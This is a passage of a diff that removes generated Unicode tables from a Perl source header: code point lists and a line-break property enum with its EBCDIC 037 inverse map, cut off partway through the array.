- 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AA, - 0x1F4AB, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F676, - 0x1F679, - 0x1F67C, - 0x1F680, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -typedef enum { - LB_Alphabetic = 0, - LB_Break_After = 1, - LB_Break_Before = 2, - LB_Break_Both = 3, - LB_Break_Symbols = 4, - LB_Carriage_Return = 5, - LB_Close_Parenthesis = 6, - LB_Close_Punctuation = 7, - LB_Combining_Mark = 8, - LB_Contingent_Break = 9, - LB_E_Base = 10, - LB_E_Modifier = 11, - LB_Exclamation = 12, - LB_Glue = 13, - LB_H2 = 14, - LB_H3 = 15, - LB_Hebrew_Letter = 16, - LB_Hyphen = 17, - LB_Ideographic = 18, - LB_Infix_Numeric = 19, - LB_Inseparable = 20, - LB_JL = 21, - LB_JT = 22, - LB_JV = 23, - LB_Line_Feed = 24, - LB_Mandatory_Break = 25, - LB_Next_Line = 26, - LB_Nonstarter = 27, - LB_Numeric = 28, - LB_Open_Punctuation = 29, - LB_Postfix_Numeric = 30, - LB_Prefix_Numeric = 31, - LB_Quotation = 32, - LB_Regional_Indicator = 33, - LB_Space = 34, - LB_Word_Joiner = 35, - LB_ZWJ = 36, - LB_ZWSpace = 37, - LB_EDGE = 38 -} LB_enum; - -static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 037 */ - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Mandatory_Break, - LB_Carriage_Return, - LB_Combining_Mark, - LB_Next_Line, - LB_Combining_Mark, - LB_Line_Feed, - LB_Combining_Mark, - LB_Space, - LB_Glue, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Prefix_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Exclamation, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Close_Parenthesis, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Hyphen, - LB_Break_Symbols, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Parenthesis, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Combining_Mark, - LB_Glue, - LB_Combining_Mark, - LB_Glue, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Exclamation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Hebrew_Letter, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Infix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Exclamation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Postfix_Numeric, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_Before, - LB_Glue, - LB_Break_Before, - LB_Break_After, - LB_Glue, - LB_Exclamation, - LB_Glue, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Glue, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_JL, - LB_JV, - LB_JT, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Nonstarter, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Break_Before, - LB_Alphabetic, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Glue, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Break_After, - LB_Glue, - LB_Break_After, - LB_ZWSpace, - LB_Combining_Mark, - LB_ZWJ, - LB_Combining_Mark, - LB_Break_After, - LB_Glue, - LB_Break_After, - LB_Break_Both, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Quotation, - LB_Open_Punctuation, - LB_Quotation, - LB_Alphabetic, - LB_Inseparable, - LB_Break_After, - LB_Mandatory_Break, - LB_Combining_Mark, - LB_Glue, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Nonstarter, - LB_Alphabetic, - LB_Infix_Numeric, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Word_Joiner, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Postfix_Numeric, - LB_Prefix_Numeric, - LB_Combining_Mark, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Prefix_Numeric, - LB_Alphabetic, - LB_Inseparable, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_E_Base, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Exclamation, - LB_Ideographic, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Quotation, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Open_Punctuation, - LB_Break_After, - LB_Alphabetic, - LB_Quotation, - LB_Alphabetic, - LB_Quotation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Break_After, - LB_Exclamation, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_Both, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Open_Punctuation, - LB_Break_After, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Break_After, - LB_Close_Punctuation, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Nonstarter, - LB_Open_Punctuation, - LB_Close_Punctuation, - LB_Ideographic, - LB_Combining_Mark, - LB_Ideographic, - LB_Combining_Mark, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Alphabetic, - LB_Combining_Mark, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Nonstarter, - LB_Ideographic, - LB_Alphabetic, - LB_Ideographic, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Break_After, - LB_Exclamation, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Postfix_Numeric, - LB_Alphabetic, - LB_Break_Before, - LB_Exclamation, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_Before, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_JL, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Alphabetic, - LB_Combining_Mark, - LB_Alphabetic, - LB_Combining_Mark, - LB_Break_After, - LB_Combining_Mark, - LB_Alphabetic, - LB_Numeric, - LB_Alphabetic, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - LB_H3, - LB_H2, - 